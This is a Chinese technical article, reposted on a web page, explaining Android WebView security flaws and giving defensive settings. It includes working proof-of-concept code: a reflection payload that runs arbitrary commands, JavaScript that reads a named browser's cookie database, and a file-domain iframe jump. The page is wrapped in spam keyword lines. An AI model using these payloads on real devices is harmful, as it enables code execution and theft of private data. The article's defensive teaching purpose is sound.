91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Android安全開發之WebView中的地雷

發布時間:2020-07-18 22:26:03 來源:網絡 閱讀:512 作者:YAQSecurity 欄目:移動開發

0X01 About WebView

 

在Android開發中,經常會使用WebView來實現WEB頁面的展示,在Activiry中啟動自己的瀏覽器,或者簡單的展示一些在線內容等。WebView功能強大,應用廣泛,但它是天使與惡魔的合體,一方面它增強了APP的上網體驗,讓APP功能更多樣化,另一方面它也引入了很多的安全問題。在過去幾年WebView中被披露的重大漏洞包括了任意代碼執行漏洞、跨域、密碼明文保存等,這些安全問題可以直接導致用戶敏感信息泄露,移動終端被惡意***者控制。下文將詳細介紹這一系列安全問題,羅列相關的一些案列,并提供相應安全開發建議。

 

0X02 WebView任意代碼執行漏洞

 

已知的WebView任意代碼執行漏洞有4個。較早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口會引起遠程代碼執行漏洞。接著是CVE-2013-4710,針對某些特定機型會存在addJavascriptInterface API引起的遠程代碼執行漏洞。之后是CVE-2014-1939爆出WebView中內置導出的“searchBoxJavaBridge_”Java Object可能被利用,實現遠程任意代碼。再后來是CVE-2014-7224,類似于CVE-2014-1939,WebView內置導出“accessibility”和“accessibilityTraversal”兩個Java Object接口,可被利用實現遠程任意代碼執行。

后文我們將圍繞下面這段常見的示例代碼展開:

WebView mWebView = (WebView)findViewById(R.id.webView); 
①WebSettings msetting = mWebView.getSettings(); 
②msetting.setJavaScriptEnabled(true); 
③mWebView.addJavascriptInterface(new TestAddJsInterface(), "myjs"); 
④mWebView.loadUrl(getIntent().getStringExtra("url"));

 

CVE-2012-6636

Android系統為了方便APP中Java代碼和網頁中的Javascript腳本交互,在WebView控件中實現了addJavascriptInterface接口,對應示例代碼中的③,網頁中的JS腳本可以利用接口“myjs”調用App中的Java代碼,而Java對象繼承關系會導致很多Public的函數及getClass函數都可以在JS中被訪問,結合Java的反射機制,***者還可以獲得系統類的函數,進而可以進行任意代碼執行。漏洞在2013年8月被披露后,很多APP都中招,其中瀏覽器APP成為重災區。但截至目前任有很多APP中依然存在此漏洞,與以往不同的只是***入口發生了一定的變化。另外我們也發現一些小廠商的APP開發團隊因為缺乏安全意識,依然還在APP中隨心所欲的使用addjs接口,明目張膽踩雷。

出于安全考慮,Google在API 17中規定允許被調用的函數必須以@JavascriptInterface進行注解,理論上如果APP依賴的API為17或者以上,就不會受該問題的影響。但部分機型上,API 17依然受影響,并且如果APP存在此漏洞,且targetsdk小于17,那漏洞的影響可以覆蓋到android4.4的終端,如果大于等于17,只能在android4.2的機型上觸發,所以前一種情況的危害目前來看依舊很大。

 

CVE-2014-1939

在2014年發現在Android4.4以下的系統中,webkit中默認內置了“searchBoxJavaBridge_”, 代碼位于“java/android/webkit/BrowserFrame.java”,該接口同樣存在遠程代碼執行的威脅。

 

CVE-2014-7224

在2014年,研究人員Daoyuan Wu和Rocky Chang發現,當系統輔助功能服務被開啟時,在Android4.4以下的系統中,由系統提供的WebView組件都默認導出"accessibility" 和"accessibilityTraversal"這兩個接口,代碼位于“android/webkit/AccessibilityInjector.java”,這兩個接口同樣存在遠程任意代碼執行的威脅。

 

常見掛馬頁面

function addJsHack(cmdArgs){
    for (var obj in window)
    { try {
            if ("getClass" in window[obj]) {
                try{
                    window[obj].getClass().forName("java.lang.Runtime").
                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);;
                }catch(e){
                }  
            }
        } catch(e) {
        }
    }
}
addJsHack()

 

 

掃碼***

圖片來自于某漏洞收集平臺,通過二維碼掃描觸發WebView任意代碼執行漏洞:


以聚美優品為例Ver 3.305,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C,相關代碼位于com.jm.android.jumei.controls.JuMeiCustomWebView.java中:

public void initWebView(Activity activity, String str, LinearLayout linearLayout, IWebViewNotify iWebViewNotify) {

    ......

    this.wapView.addJavascriptInterface(new WebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME);

}

 

0X03 WebView密碼明文存儲漏洞

 

WebView默認開啟密碼保存功能mWebView.setSavePassword(true),如果該功能未關閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,如果選擇"是",密碼會被明文保到/data/data/com.package.name/databases/webview.db

 

 

0X04 WebView域控制不嚴格漏洞

 

setAllowFileAccess

Android中默認mWebView.setAllowFileAccess(true),在File域下,能夠執行任意的JavaScript代碼,同源策略跨域訪問能夠對私有目錄文件進行訪問等。APP對嵌入的WebView未對file:/// 形式的URL做限制,會導致隱私信息泄露,針對IM類軟件會導致聊天信息、聯系人等等重要信息泄露,針對瀏覽器類軟件,則更多的是cookie信息泄露。

 

setAllowFileAccessFromFileURLs

在JELLY_BEAN以前的版本默認是setAllowFileAccessFromFileURLs(true),允許通過file域url中的Javascript讀取其他本地文件,在JELLY_BEAN及以后的版本中默認已被是禁止。

 

setAllowUniversalAccessFromFileURLs

在JELLY_BEAN以前的版本默認是setAllowUniversalAccessFromFileURLs(true),允許通過file域url中的Javascript訪問其他的源,包括其他的本地文件和http,https源的數據。在JELLY_BEAN及以后的版本中默認已被禁止。

 

360手機瀏覽器缺陷可導致用戶敏感數據泄漏

以360手機瀏覽器4.8版本為例,由于未對file域做安全限制,惡意APP調用360瀏覽器加載本地的***頁面(比如惡意APP釋放到SDCARD上的一個HTML)后,就可以獲取360手機瀏覽器下的所有私有數據,包括webviewCookiesChromium.db下的cookie內容,***頁面關鍵代碼:

function getDatabase() {  

    var request = false;

    if(window.XMLHttpRequest) {

     request = new XMLHttpRequest();

      if(request.overrideMimeType) {

           request.overrideMimeType('text/xml');

       }

    }

    xmlhttp = request;

    var prefix = "file:////data/data/com.qihoo.browser/databases";

    var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db

    var path = prefix.concat(postfix);

    // 獲取本地文件代碼

    xmlhttp.open("GET", path, false);

    xmlhttp.send(null);

    var ret = xmlhttp.responseText;

    return ret;

}

 

漏洞利用代碼:

copyFile(); //自定義函數,釋放filehehe.html到sd卡上

String url = "file:///mnt/sdcard/filehehe.html";

Intent contIntent = new Intent();

contIntent.setAction("android.intent.action.VIEW");

contIntent.setData(Uri.parse(url));

Intent intent = new Intent();

intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");

intent.setAction("android.intent.action.VIEW");

intent.setData(Uri.parse(url));

this.startActivity(intent);

 

0X05 WebView file跨域漏洞

 

Android 2.3 webkit或者瀏覽器APP自建內核中會存在此類跨域漏洞。在處理轉跳時存在漏洞,導致允許從http域跨向file域,實現跨域漏洞。以某瀏覽器4.5.0.511版本為例,寫一個html,命名為filereach.html,存放在服務器上。該瀏覽器4.5.0.511的X5內核存在http域跨file域的漏洞。POC代碼如下所示:

<iframe name=f src="www.baidu.com" ></iframe>

<script>

    function init(){

        f.location = "file:///default.prop";

    }

    setTimeout(init,5000)

</script>

在瀏覽器中打開服務器上的filereach.html,將從http域跳轉到file域

 

0X06安全開發建議

 

1)使用騰訊御安全類漏洞掃描工具進行基礎開發漏洞檢測定位;

2)建議開發者通過以下方式移除該JavaScript接口:
  removeJavascriptInterface("searchBoxJavaBridge_")

  removeJavascriptInterface("accessibility");

  removeJavascriptInterface("accessibilityTraversal")

3)出于安全考慮,為了防止Java層的函數被隨便調用,Google在4.2版本之后,規定允許被調用的函數必須以@JavascriptInterface進行注解

4)通過WebSettings.setSavePassword(false)關閉密碼保存提醒功能

5)通過以下設置,防止越權訪問,跨域等安全問題: 

  setAllowFileAccess(false)

  setAllowFileAccessFromFileURLs(false)

  setAllowUniversalAccessFromFileURLs(false)

 

0X07參考信息

 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224

http://drops.wooyun.org/webview.html

 

更多:騰訊御安全技術博客

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

吴桥县| 嵊州市| 大冶市| 军事| 开阳县| 宁远县| 灵川县| 固阳县| 元谋县| 福安市| 申扎县| 崇礼县| 潢川县| 富平县| 博野县| 德兴市| 平邑县| 济南市| 龙岩市| 东方市| 尼勒克县| 天镇县| 策勒县| 香河县| 孝义市| 专栏| 湄潭县| 鄱阳县| 广宗县| 阿图什市| 建水县| 麻江县| 阿鲁科尔沁旗| 宁陕县| 婺源县| 陇南市| 尉氏县| 江城| 江都市| 察雅县| 时尚|